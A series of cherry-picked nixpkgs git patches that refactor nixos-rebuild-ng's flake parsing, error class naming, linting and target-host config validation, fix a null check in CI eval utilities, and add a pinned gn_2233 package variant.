From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 19 Jun 2025 20:48:48 +0100
Subject: [PATCH 1424/4511] nixos-rebuild-ng: simplify `Flake.parse()` code

(cherry picked from commit 8481fa781e03ca06d084f353a9ce2ff355a9e95f)
---
 .../src/nixos_rebuild/models.py               | 45 +++++++++----------
 .../nixos-rebuild-ng/src/tests/test_models.py | 25 ++++++++---
 2 files changed, 41 insertions(+), 29 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
index 0d67bc81aed9..f8439461b6bd 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
@@ -4,7 +4,7 @@ import subprocess
 from dataclasses import dataclass
 from enum import Enum
 from pathlib import Path
-from typing import Any, Callable, ClassVar, Self, TypedDict, override
+from typing import Any, ClassVar, Self, TypedDict, override
 
 from .process import Remote, run_wrapper
 
@@ -100,6 +100,20 @@ def discover_closest_flake(location: Path) -> Path | None:
     return None
 
 
+def get_hostname(target_host: Remote | None) -> str | None:
+    if target_host:
+        try:
+            return run_wrapper(
+                ["uname", "-n"],
+                capture_output=True,
+                remote=target_host,
+            ).stdout.strip()
+        except (AttributeError, subprocess.CalledProcessError):
+            return None
+    else:
+        return platform.node()
+
+
 @dataclass(frozen=True)
 class Flake:
     path: Path | str
@@ -114,15 +128,13 @@ class Flake:
         return f"{self.path}#{self.attr}"
 
     @classmethod
-    def parse(
-        cls,
-        flake_str: str,
-        hostname_fn: Callable[[], str | None] = lambda: None,
-    ) -> Self:
+    def parse(cls, flake_str: str, target_host: Remote | None = None) -> Self:
         m = cls._re.match(flake_str)
         assert m is not None, f"got no matches for {flake_str}"
         attr = m.group("attr")
-        nixos_attr = f'nixosConfigurations."{attr or hostname_fn() or "default"}"'
+        nixos_attr = (
+            f'nixosConfigurations."{attr or get_hostname(target_host) or "default"}"'
+        )
         path_str = m.group("path")
         if ":" in path_str:
             return cls(path_str, nixos_attr)
@@ -143,24 +155,11 @@ class Flake:
 
     @classmethod
     def from_arg(cls, flake_arg: Any, target_host: Remote | None) -> Self | None:
-        def get_hostname() -> str | None:
-            if target_host:
-                try:
-                    return run_wrapper(
-                        ["uname", "-n"],
-                        stdout=subprocess.PIPE,
-                        remote=target_host,
-                    ).stdout.strip()
-                except (AttributeError, subprocess.CalledProcessError):
-                    return None
-            else:
-                return platform.node()
-
         match flake_arg:
             case str(s):
-                return cls.parse(s, get_hostname)
+                return cls.parse(s, target_host)
             case True:
-                return cls.parse(".", get_hostname)
+                return cls.parse(".", target_host)
             case False:
                 return None
             case _:
@@ -169,7 +168,7 @@ class Flake:
                 if default_path.exists():
                     # It can be a symlink to the actual flake.
                     default_path = default_path.resolve()
-                    return cls.parse(str(default_path.parent), get_hostname)
+                    return cls.parse(str(default_path.parent), target_host)
                 else:
                     return None
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
index 2cc450e00a36..1922b4682cbf 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
@@ -30,16 +30,23 @@ def test_build_attr_to_attr() -> None:
     )
 
 
-def test_flake_parse(tmpdir: Path, monkeypatch: MonkeyPatch) -> None:
+@patch("platform.node", autospec=True, return_value="hostname")
+def test_flake_parse(mock_node: Mock, tmpdir: Path, monkeypatch: MonkeyPatch) -> None:
     assert m.Flake.parse("/path/to/flake#attr") == m.Flake(
         Path("/path/to/flake"), 'nixosConfigurations."attr"'
     )
-    assert m.Flake.parse("/path/ to /flake", lambda: "hostname") == m.Flake(
+    assert m.Flake.parse("/path/ to /flake") == m.Flake(
         Path("/path/ to /flake"), 'nixosConfigurations."hostname"'
     )
-    assert m.Flake.parse("/path/to/flake", lambda: "hostname") == m.Flake(
-        Path("/path/to/flake"), 'nixosConfigurations."hostname"'
-    )
+    with patch(
+        get_qualified_name(m.run_wrapper, m),
+        autospec=True,
+        return_value=subprocess.CompletedProcess([], 0, stdout="remote\n"),
+    ):
+        target_host = m.Remote("target@remote", [], None)
+        assert m.Flake.parse("/path/to/flake", target_host) == m.Flake(
+            Path("/path/to/flake"), 'nixosConfigurations."remote"'
+        )
     # change directory to tmpdir
     with monkeypatch.context() as patch_context:
         patch_context.chdir(tmpdir)
@@ -49,10 +56,16 @@ def test_flake_parse(tmpdir: Path, monkeypatch: MonkeyPatch) -> None:
         assert m.Flake.parse("#attr") == m.Flake(
             Path("."), 'nixosConfigurations."attr"'
         )
-        assert m.Flake.parse(".") == m.Flake(Path("."), 'nixosConfigurations."default"')
+        assert m.Flake.parse(".") == m.Flake(
+            Path("."), 'nixosConfigurations."hostname"'
+        )
     assert m.Flake.parse("path:/to/flake#attr") == m.Flake(
         "path:/to/flake", 'nixosConfigurations."attr"'
     )
+
+    # from here on  we should return "default"
+    mock_node.return_value = None
+
     assert m.Flake.parse("github:user/repo/branch") == m.Flake(
         "github:user/repo/branch", 'nixosConfigurations."default"'
     )

From 8cf766081ff159b1737e71bb084cc793934ed2eb Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 19 Jun 2025 22:04:27 +0100
Subject: [PATCH 1425/4511] nixos-rebuild-ng: add string concatenation linter

(cherry picked from commit e2dbb9de3392c12142c827127f405b84507dfde9)
---
 .../src/nixos_rebuild/__init__.py             | 12 ++++++------
 .../nixos-rebuild-ng/src/nixos_rebuild/nix.py |  2 +-
 .../src/nixos_rebuild/process.py              |  6 +++---
 .../ni/nixos-rebuild-ng/src/pyproject.toml    | 19 ++++++++++---------
 4 files changed, 20 insertions(+), 19 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index fb68b219c1f9..2e3a321fbcd4 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -100,7 +100,7 @@ def get_parser() -> tuple[argparse.ArgumentParser, dict[str, argparse.ArgumentPa
         "--attr",
         "-A",
         help="Enable and build the NixOS system from nix file and use the "
-        + "specified attribute path from file specified by the --file option",
+        "specified attribute path from file specified by the --file option",
     )
     main_parser.add_argument(
         "--flake",
@@ -118,7 +118,7 @@ def get_parser() -> tuple[argparse.ArgumentParser, dict[str, argparse.ArgumentPa
         "--install-bootloader",
         action="store_true",
         help="Causes the boot loader to be (re)installed on the device specified "
-        + "by the relevant configuration options",
+        "by the relevant configuration options",
     )
     main_parser.add_argument(
         "--install-grub",
@@ -143,7 +143,7 @@ def get_parser() -> tuple[argparse.ArgumentParser, dict[str, argparse.ArgumentPa
         "--upgrade",
         action="store_true",
         help="Update the root user's channel named 'nixos' before rebuilding "
-        + "the system and channels which have a file named '.update-on-nixos-rebuild'",
+        "the system and channels which have a file named '.update-on-nixos-rebuild'",
     )
     main_parser.add_argument(
         "--upgrade-all",
@@ -187,7 +187,7 @@ def get_parser() -> tuple[argparse.ArgumentParser, dict[str, argparse.ArgumentPa
     main_parser.add_argument(
         "--image-variant",
         help="Selects an image variant to build from the "
-        + "config.system.build.images attribute of the given configuration",
+        "config.system.build.images attribute of the given configuration",
     )
     main_parser.add_argument("action", choices=Action.values(), nargs="?")
 
@@ -322,7 +322,7 @@ def reexec(
                 # - Exec format error (e.g.: another OS/CPU arch)
                 logger.warning(
                     "could not re-exec in a newer version of nixos-rebuild, "
-                    + "using current version",
+                    "using current version",
                     exc_info=logger.isEnabledFor(logging.DEBUG),
                 )
                 # We already run clean-up, let's re-exec in the current version
@@ -422,7 +422,7 @@ def execute(argv: list[str]) -> None:
                 if args.image_variant not in variants:
                     raise NRError(
                         "please specify one of the following "
-                        + "supported image variants via --image-variant:\n"
+                        "supported image variants via --image-variant:\n"
                         + "\n".join(f"- {v}" for v in variants)
                     )
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index 3be610b5ddbd..a55bfd508e37 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -652,7 +652,7 @@ def switch_to_configuration(
     if r.returncode:
         logger.debug(
             "skipping systemd-run to switch configuration since systemd is "
-            + "not working in target host"
+            "not working in target host"
         )
         cmd = []
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/process.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/process.py
index 462c4178e8f7..1f57111a72ef 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/process.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/process.py
@@ -55,12 +55,12 @@ class Remote:
             if o in ["-t", "-tt", "RequestTTY=yes", "RequestTTY=force"]:
                 logger.warning(
                     f"detected option '{o}' in NIX_SSHOPTS. SSH's TTY may "
-                    + "cause issues, it is recommended to remove this option"
+                    "cause issues, it is recommended to remove this option"
                 )
                 if not ask_sudo_password:
                     logger.warning(
                         "if you want to prompt for sudo password use "
-                        + "'--ask-sudo-password' option instead"
+                        "'--ask-sudo-password' option instead"
                     )
 
 
@@ -161,7 +161,7 @@ def run_wrapper(
         if sudo and remote and remote.sudo_password is None:
             logger.error(
                 "while running command with remote sudo, did you forget to use "
-                + "--ask-sudo-password?"
+                "--ask-sudo-password?"
             )
         raise
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml b/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml
index 7874c217468d..3eb78f58e032 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/pyproject.toml
@@ -39,37 +39,38 @@ ignore_missing_imports = true
 
 [tool.ruff.lint]
 extend-select = [
-    # Enforce type annotations
+    # enforce type annotations
     "ANN",
     # don't shadow built-in names
     "A",
-    # Better list/set/dict comprehensions
+    # better list/set/dict comprehensions
     "C4",
-    # Check for debugger statements
+    # check for debugger statements
     "T10",
     # ensure imports are sorted
     "I",
-    # Automatically upgrade syntax for newer versions
+    # automatically upgrade syntax for newer versions
     "UP",
     # detect common sources of bugs
     "B",
-    # Ruff specific rules
+    # ruff specific rules
     "RUF",
     # require `check` argument for `subprocess.run`
     "PLW1510",
     # check for needless exception names in raise statements
     "TRY201",
-    # Pythonic naming conventions
+    # pythonic naming conventions
     "N",
+    # string concatenation rules
+    "ISC001",
+    "ISC002",
+    "ISC003",
 ]
 ignore = [
     # allow Any type
    "ANN401"
 ]
 
-[tool.ruff.lint.per-file-ignores]
-"tests/" = ["FA102"]
-
 [tool.pytest.ini_options]
 pythonpath = ["."]
 addopts = "--import-mode=importlib"

From feb284d1602cb216916ba6bb17d9778c5abad4fd Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 19 Jun 2025 22:17:53 +0100
Subject: [PATCH 1426/4511] nixos-rebuild-ng: move validate_image_variant()
 outside execute()

(cherry picked from commit 3f58a116563b6f6becd5a1260ca6796b4be469c9)
---
 .../src/nixos_rebuild/__init__.py             | 23 +++++++++----------
 1 file changed, 11 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 2e3a321fbcd4..761af4b8b16d 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -330,6 +330,14 @@ def reexec(
                 os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
 
 
+def validate_image_variant(image_variant: str, variants: ImageVariants) -> None:
+    if image_variant not in variants:
+        raise NRError(
+            "please specify one of the following supported image variants via "
+            "--image-variant:\n" + "\n".join(f"- {v}" for v in variants)
+        )
+
+
 def validate_nixos_config(path_to_config: Path) -> None:
     if not (path_to_config / "nixos-version").exists() and not os.environ.get(
         "NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM"
@@ -350,8 +358,7 @@ def validate_nixos_config(path_to_config: Path) -> None:
                 Please open an issue if this is the case.
             """
         ).strip()
-        logger.error(msg)
-        sys.exit(1)
+        raise NRError(msg)
 
 
 def execute(argv: list[str]) -> None:
@@ -418,28 +425,20 @@ def execute(argv: list[str]) -> None:
             no_link = action in (Action.SWITCH, Action.BOOT)
             rollback = bool(args.rollback)
 
-            def validate_image_variant(variants: ImageVariants) -> None:
-                if args.image_variant not in variants:
-                    raise NRError(
-                        "please specify one of the following "
-                        "supported image variants via --image-variant:\n"
-                        + "\n".join(f"- {v}" for v in variants)
-                    )
-
             match action:
                 case Action.BUILD_IMAGE if flake:
                     variants = nix.get_build_image_variants_flake(
                         flake,
                         eval_flags=flake_common_flags,
                     )
-                    validate_image_variant(variants)
+                    validate_image_variant(args.image_variant, variants)
                     attr = f"config.system.build.images.{args.image_variant}"
                 case Action.BUILD_IMAGE:
                     variants = nix.get_build_image_variants(
                         build_attr,
                         instantiate_flags=common_flags,
                     )
-                    validate_image_variant(variants)
+                    validate_image_variant(args.image_variant, variants)
                     attr = f"config.system.build.images.{args.image_variant}"
                 case Action.BUILD_VM:
                     attr = "config.system.build.vm"

From d6e6fde527036de0dd759e79d5959993f4363682 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 19 Jun 2025 22:39:02 +0100
Subject: [PATCH 1427/4511] nixos-rebuild-ng: NRError -> NixOSRebuildError

(cherry picked from commit e364976238fcc10cb7005e2b12e71c4b0a9691a4)
---
 .../nixos-rebuild-ng/src/nixos_rebuild/__init__.py | 12 +++++++-----
 .../nixos-rebuild-ng/src/nixos_rebuild/models.py   |  2 +-
 .../ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py   | 14 +++++++-------
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py      |  2 +-
 4 files changed, 16 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 761af4b8b16d..f89eddab6183 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -10,7 +10,7 @@ from typing import Final, assert_never
 
 from . import nix, tmpdir
 from .constants import EXECUTABLE, WITH_NIX_2_18, WITH_REEXEC, WITH_SHELL_FILES
-from .models import Action, BuildAttr, Flake, ImageVariants, NRError, Profile
+from .models import Action, BuildAttr, Flake, ImageVariants, NixOSRebuildError, Profile
 from .process import Remote, cleanup_ssh
 from .utils import Args, LogFormatter, tabulate
 
@@ -332,7 +332,7 @@ def reexec(
 
 def validate_image_variant(image_variant: str, variants: ImageVariants) -> None:
     if image_variant not in variants:
-        raise NRError(
+        raise NixOSRebuildError(
             "please specify one of the following supported image variants via "
             "--image-variant:\n" + "\n".join(f"- {v}" for v in variants)
         )
@@ -358,7 +358,7 @@ def validate_nixos_config(path_to_config: Path) -> None:
                 Please open an issue if this is the case.
             """
         ).strip()
-        raise NRError(msg)
+        raise NixOSRebuildError(msg)
 
 
 def execute(argv: list[str]) -> None:
@@ -459,9 +459,11 @@ def execute(argv: list[str]) -> None:
                     if maybe_path_to_config:  # kinda silly but this makes mypy happy
                         path_to_config = maybe_path_to_config
                     else:
-                        raise NRError("could not find previous generation")
+                        raise NixOSRebuildError("could not find previous generation")
                 case (_, True, _, _):
-                    raise NRError(f"--rollback is incompatible with '{action}'")
+                    raise NixOSRebuildError(
+                        f"--rollback is incompatible with '{action}'"
+                    )
                 case (_, False, Remote(_), Flake(_)):
                     path_to_config = nix.build_remote_flake(
                         attr,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
index f8439461b6bd..c0183e1a265b 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
@@ -11,7 +11,7 @@ from .process import Remote, run_wrapper
 type ImageVariants = list[str]
 
 
-class NRError(Exception):
+class NixOSRebuildError(Exception):
     "nixos-rebuild general error."
 
     def __init__(self, message: str) -> None:
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index a55bfd508e37..77113a093a77 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -20,7 +20,7 @@ from .models import (
     Generation,
     GenerationJson,
     ImageVariants,
-    NRError,
+    NixOSRebuildError,
     Profile,
     Remote,
 )
@@ -256,7 +256,7 @@ def edit(flake: Flake | None, flake_flags: Args | None = None) -> None:
         )
     else:
         if flake_flags:
-            raise NRError("'edit' does not support extra Nix flags")
+            raise NixOSRebuildError("'edit' does not support extra Nix flags")
         nixos_config = Path(
             os.getenv("NIXOS_CONFIG") or find_file("nixos-config") or "/etc/nixos"
         )
@@ -266,7 +266,7 @@ def edit(flake: Flake | None, flake_flags: Args | None = None) -> None:
         if nixos_config.exists():
             run_wrapper([os.getenv("EDITOR", "nano"), nixos_config], check=False)
         else:
-            raise NRError("cannot find NixOS config file")
+            raise NixOSRebuildError("cannot find NixOS config file")
 
 
 def find_file(file: str, nix_flags: Args | None = None) -> Path | None:
@@ -424,7 +424,7 @@ def get_generations(profile: Profile) -> list[Generation]:
     and if this is the current active profile or not.
     """
     if not profile.path.exists():
-        raise NRError(f"no profile '{profile.name}' found")
+        raise NixOSRebuildError(f"no profile '{profile.name}' found")
 
     def parse_path(path: Path, profile: Profile) -> Generation:
         entry_id = path.name.split("-")[1]
@@ -456,7 +456,7 @@ def get_generations_from_nix_env(
     and if this is the current active profile or not.
     """
     if not profile.path.exists():
-        raise NRError(f"no profile '{profile.name}' found")
+        raise NixOSRebuildError(f"no profile '{profile.name}' found")
 
     # Using `nix-env --list-generations` needs root to lock the profile
     r = run_wrapper(
@@ -635,13 +635,13 @@ def switch_to_configuration(
     """
     if specialisation:
         if action not in (Action.SWITCH, Action.TEST):
-            raise NRError(
+            raise NixOSRebuildError(
                 "'--specialisation' can only be used with 'switch' and 'test'"
             )
         path_to_config = path_to_config / f"specialisation/{specialisation}"
 
         if not path_to_config.exists():
-            raise NRError(f"specialisation not found: {specialisation}")
+            raise NixOSRebuildError(f"specialisation not found: {specialisation}")
 
     r = run_wrapper(
         ["test", "-d", "/run/systemd/system"],
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index d87b6b62dca8..d965212a8d74 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -714,7 +714,7 @@ def test_switch_to_configuration_without_systemd_run(
         remote=None,
     )
 
-    with pytest.raises(m.NRError) as e:
+    with pytest.raises(m.NixOSRebuildError) as e:
         n.switch_to_configuration(
             config_path,
             m.Action.BOOT,

From 1cd3b83d622ab29ccef1dd4e24a33acda06ceb8e Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sun, 22 Jun 2025 15:34:54 +0100
Subject: [PATCH 1428/4511] nixos-rebuild-ng: validate NixOS config path in
 target host

In #418243 we started to validate NixOS config path to avoid a nasty bug
in Nix, but this doesn't work in the `--build-host` and `--target-host`
case because the configuration will not be available in the local host
to check if it contains a `nixos-version`. This moves the check to
`--target-host` instead, that is probably the correct choice anyway.

Fix #418868.

(cherry picked from commit 0f6624e21a7300a11029507e7c6638a7689ff5a5)
---
 .../src/nixos_rebuild/__init__.py             | 25 -----------------
 .../nixos-rebuild-ng/src/nixos_rebuild/nix.py | 28 +++++++++++++++++++
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py | 15 ++++++++++
 3 files changed, 43 insertions(+), 25 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index f89eddab6183..1696e73bb42f 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -5,7 +5,6 @@ import os
 import sys
 from pathlib import Path
 from subprocess import CalledProcessError, run
-from textwrap import dedent
 from typing import Final, assert_never
 
 from . import nix, tmpdir
@@ -338,29 +337,6 @@ def validate_image_variant(image_variant: str, variants: ImageVariants) -> None:
         )
 
 
-def validate_nixos_config(path_to_config: Path) -> None:
-    if not (path_to_config / "nixos-version").exists() and not os.environ.get(
-        "NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM"
-    ):
-        msg = dedent(
-            # the lowercase for the first letter below is proposital
-            f"""
-                your NixOS configuration path seems to be missing essential files.
-                To avoid corrupting your current NixOS installation, the activation will abort.
-
-                This could be caused by Nix bug: https://github.com/NixOS/nix/issues/13367.
-                This is the evaluated NixOS configuration path: {path_to_config}.
-                Change the directory to somewhere else (e.g., `cd $HOME`) before trying again.
-
-                If you think this is a mistake, you can set the environment variable
-                NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM to 1
-                and re-run the command to continue.
-                Please open an issue if this is the case.
-            """
-        ).strip()
-        raise NixOSRebuildError(msg)
-
-
 def execute(argv: list[str]) -> None:
     args, args_groups = parse_args(argv)
 
@@ -514,7 +490,6 @@ def execute(argv: list[str]) -> None:
                     copy_flags=copy_flags,
                 )
                 if action in (Action.SWITCH, Action.BOOT):
-                    validate_nixos_config(path_to_config)
                     nix.set_profile(
                         profile,
                         path_to_config,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index 77113a093a77..acc9448fec00 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -9,6 +9,7 @@ from importlib.resources import files
 from pathlib import Path
 from string import Template
 from subprocess import PIPE, CalledProcessError
+from textwrap import dedent
 from typing import Final, Literal
 
 from . import tmpdir
@@ -613,6 +614,33 @@ def set_profile(
     sudo: bool,
 ) -> None:
     "Set a path as the current active Nix profile."
+    if not os.environ.get(
+        "NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM"
+    ):
+        r = run_wrapper(
+            ["test", "-f", path_to_config / "nixos-version"],
+            remote=target_host,
+            check=False,
+        )
+        if r.returncode:
+            msg = dedent(
+                # the lowercase for the first letter below is proposital
+                f"""
+                    your NixOS configuration path seems to be missing essential files.
+                    To avoid corrupting your current NixOS installation, the activation will abort.
+
+                    This could be caused by Nix bug: https://github.com/NixOS/nix/issues/13367.
+                    This is the evaluated NixOS configuration path: {path_to_config}.
+                    Change the directory to somewhere else (e.g., `cd $HOME`) before trying again.
+
+                    If you think this is a mistake, you can set the environment variable
+                    NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM to 1
+                    and re-run the command to continue.
+                    Please open an issue if this is the case.
+                """
+            ).strip()
+            raise NixOSRebuildError(msg)
+
     run_wrapper(
         ["nix-env", "-p", profile.path, "--set", path_to_config],
         remote=target_host,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index d965212a8d74..05cb69e69d8b 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -674,6 +674,8 @@ def test_rollback_temporary_profile(tmp_path: Path) -> None:
 def test_set_profile(mock_run: Mock) -> None:
     profile_path = Path("/path/to/profile")
     config_path = Path("/path/to/config")
+    mock_run.return_value = CompletedProcess([], 0)
+
     n.set_profile(
         m.Profile("system", profile_path),
         config_path,
@@ -687,6 +689,19 @@ def test_set_profile(mock_run: Mock) -> None:
         sudo=False,
     )
 
+    mock_run.return_value = CompletedProcess([], 1)
+
+    with pytest.raises(m.NixOSRebuildError) as e:
+        n.set_profile(
+            m.Profile("system", profile_path),
+            config_path,
+            target_host=None,
+            sudo=False,
+        )
+    assert str(e.value).startswith(
+        "error: your NixOS configuration path seems to be missing essential files."
+    )
+
 
 @patch(get_qualified_name(n.run_wrapper, n), autospec=True)
 def test_switch_to_configuration_without_systemd_run(

From 114ac8bdbc7b886264c3b312aae760ad5e9d06e4 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Sun, 22 Jun 2025 20:27:41 +0100
Subject: [PATCH 1429/4511] ci/eval: fix comparing to null in getLabels

Check if `to` is null _before_ comparing it to `rebuildCount`.

(cherry picked from commit 7c7009a3da024b6a8380fc089c1ee78f3d29b181)
---
 ci/eval/compare/utils.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/eval/compare/utils.nix b/ci/eval/compare/utils.nix
index d34299ca4654..5dcb97e97535 100644
--- a/ci/eval/compare/utils.nix
+++ b/ci/eval/compare/utils.nix
@@ -176,7 +176,7 @@ rec {
       lib.mapAttrsToList (
         kernel: rebuildCount:
         let
-          range = from: to: from <= rebuildCount && (rebuildCount <= to || to == null);
+          range = from: to: from <= rebuildCount && (to == null || rebuildCount <= to);
         in
         lib.mapAttrs' (number: lib.nameValuePair "10.rebuild-${kernel}: ${number}") {
           "0" = range 0 0;

From a4a1a0c1348c410c39542b7bd6b7e73793f42e80 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Sun, 22 Jun 2025 19:24:08 +0200
Subject: [PATCH 1430/4511] gn_2233: init

Init as new variant of gn because the current version is too old for
signal-desktop's webrtc fork and we don't want to update gn on stable.

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
---
 pkgs/by-name/gn/gn/2233.nix     | 10 ++++++++++
 pkgs/by-name/gn/gn/generic.nix  |  5 ++++-
 pkgs/top-level/all-packages.nix |  2 ++
 3 files changed, 16 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/by-name/gn/gn/2233.nix

diff --git a/pkgs/by-name/gn/gn/2233.nix b/pkgs/by-name/gn/gn/2233.nix
new file mode 100644
index 000000000000..330446152fb8
--- /dev/null
+++ b/pkgs/by-name/gn/gn/2233.nix
@@ -0,0 +1,10 @@
+{ callPackage, ... }@args:
+
+# Do not update this pinned version!
+# Update ./package.nix instead or init an entirely new version based on this.
+callPackage ./generic.nix args {
+  rev = "85cc21e94af590a267c1c7a47020d9b420f8a033";
+  revNum = "2233";
+  version = "2025-04-28";
+  sha256 = "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI=";
+}
diff --git a/pkgs/by-name/gn/gn/generic.nix b/pkgs/by-name/gn/gn/generic.nix
index ca28240fa705..2e89dbe95ed8 100644
--- a/pkgs/by-name/gn/gn/generic.nix
+++ b/pkgs/by-name/gn/gn/generic.nix
@@ -40,7 +40,7 @@ stdenv.mkDerivation {
     inherit rev sha256;
   };
 
-  patches = [
+  patches = lib.optionals (lib.versionOlder revNum "2233") [
     (fetchpatch {
       name = "LFS64.patch";
       url = "https://gn.googlesource.com/gn/+/b5ff50936a726ff3c8d4dfe2a0ae120e6ce1350d%5E%21/?format=TEXT";
@@ -58,6 +58,9 @@ stdenv.mkDerivation {
   ];
 
   env.NIX_CFLAGS_COMPILE = "-Wno-error";
+  # Relax hardening as otherwise gn unstable 2024-06-06 and later fail with:
+  # cc1plus: error: '-Wformat-security' ignored without '-Wformat' [-Werror=format-security]
+  ${if (lib.versionAtLeast revNum "2233") then "hardeningDisable" else null} = [ "format" ];
 
   buildPhase = ''
     python build/gen.py --no-last-commit-position
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0439f3ba3a75..50cf1a6379a6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -7398,6 +7398,8 @@ with pkgs;
 
   m4 = gnum4;
 
+  gn_2233 = callPackage ../by-name/gn/gn/2233.nix { };
+
   gnumake = callPackage ../development/tools/build-managers/gnumake { };
   gradle-packages = import ../development/tools/build-managers/gradle {
     inherit

